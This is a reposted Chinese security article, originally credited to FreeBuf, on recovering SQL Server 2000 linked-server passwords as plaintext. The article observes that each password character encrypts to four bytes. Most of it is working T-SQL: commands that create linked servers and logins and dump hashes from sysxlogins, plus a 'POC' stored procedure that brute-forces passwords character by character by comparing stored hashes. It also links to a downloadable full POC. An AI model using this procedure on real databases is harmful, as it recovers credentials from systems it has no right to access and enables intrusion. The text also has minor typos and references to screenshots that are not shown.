加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > MsSql教程 > 正文

如何将SQLServer 2000链接服务器的密码破解为明文

发布时间:2020-12-12 12:59:38 所属栏目:MsSql教程 来源:网络整理
导读:MSSQL有一个LINKSERVER的功能——链接服务器,每字符加密为4位,不用管加密算法,可以撞出来。 查看我的版本号 然后就执行下面的代码首先查看我的连接 代码语句:Exec?sp_helpserver? 现在看到数据库里面有6个连接现在我要新建立一个linkserver连接名字为dhli

MSSQL有一个LINKSERVER的功能——链接服务器,每字符加密为4位,不用管加密算法,可以撞出来。

查看我的版本号

然后就执行下面的代码首先查看我的连接

代码语句:Exec?sp_helpserver?

现在看到数据库里面有6个连接现在我要新建立一个linkserver连接名字为dhlinkserver

第一步,先建立一个linkserver

sp_addlinkedserver?'dhlinkserver','','SQLOLEDB','127.0.0.1','master'

可以看到执行成功

再次查看连接,可以看到有7条连接,现在去创建一个表存放HASH值的表

创建linkserver连接过后给连接新添加账号密码

代码区:

EXEC?sp_addlinkedsrvlogin
'dhlinkserver',?--被访问的服务器别名(如果上面sp_addlinkedserver中使用别名JOY,则这里也是JOY)
'false',NULL,'test123',?--帐号
'test123'?--密码

执行成功后:账号为:test123?密码:test123

查询现在数据库里存储的密码:

语句执行

select?name,master.dbo.fn_VarBinToHexStr(password)pass?from?master.dbo.sysxlogins

我在建立一个名字为:www的linkserver连接

可以看到没有www的linkserver连接

还是一种方法创建?linkserver,下面我使用第二种方法创建,第一种方法连接可以在本文下面第一步细节里面有提到我就不解释了.

第二种创建连接是直接创立连接

exec?sp_addlinkedserver??@server=?'server'
Server?创建的名字

现在我们查询查询连接是否创建成功

查询语句:Exec?sp_helpserver

可以看到:www连接按照我上述讲的,在给www这个连接建立一个用户名为:test12?密码为:test12?我们看看出现的hash是否一样

OK创建成功.查询下密码

可以看到,每字符加密为4位上次添加linkserver连接用户名:test123?密码:test123

这次对比下,少了一位密码字符,他就少了4位加密的算法

用户名:test123?pass:0xc7fb432df59950d1b05c1edb5a6f
用户名:test12?pass:0xc7fb432df59950d1b05c1edb

第二步:创建一个表用于存放计算出来的HASH

执行语句:

create?table?mssql?(list?int?not?null?identity?(1,1),?pass?nvarchar(500),code?varbinary(256))

sp_dropserver?'dhlinkserver',?'droplogins'
drop?table?mssql
DROP?PROCEDURE?pwd

创建表成功,后创建存储破解使用过程

第三步?创建破解用的存储过程

POC:

create???procedure???pwd
@pwd?sysname?=?NULL
AS
????declare?@ss?varchar(256),@str?varchar?(256),@getpass?varbinary(256)
?
????truncate?table?mssql
????create?table?#t?(inetpub?nvarchar(500))
????select?@ss=@pwd+'abcdefghijklmnopqrstuvwxyz`0123456789-=[];,./~!@#$%^&*()_+{}|:<>?'
????declare?@index?int
????select?@index=1
????while?(@index?<=len(@ss))
????begin
????????insert?#t(inetpub)?select?SUBSTRING?(@ss,@index,1)
????????select?@index?=?@index?+1
????????select?@str=@pwd+inetpub?from?#t
????????exec?master.dbo.sp_addlinkedsrvlogin?'dhlinkserver','false',Null,'xxxx',@str
????????select?@getpass?=?password?from?master.dbo.sysxlogins?where?name?='xxxx'
????????insert?into?mssql(pass,code)?values?(@str,@getpass)
????end
select?list,pass,master.dbo.fn_VarBinToHexStr(code)code?from?mssql
drop?table?#t

第四步,查询现在数据库里存储的密码

elect?name,master.dbo.fn_VarBinToHexStr(password)pass?from?master.dbo.sysxlogins

相关资料科普

第一步细节:

 创建一个链接的服务器,使其允许对分布式的、针对?OLE?DB?数据源的异类查询进行访问。在使用?sp_addlinkedserver?创建链接的服务器之后,此服务器就可以执行分布式查询。如果链接服务器定义为?Microsoft??SQL?Server?,则可执行远程存储过程。?

'dhlinkserver'?则是创建的声名这个连接名
'SQLOLEDB'?使用SQLOLEDB远程访问
127.0.0.1?要访问连接的IP
'master'

此连接有他的信息http://www.aspzz.cn/article/14194.htm

第二部细节:

完整测试POC:

链接:?http://pan.baidu.com/s/1mgh7QL6?密码: 1n29

*本文作者:h4ckj1n,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读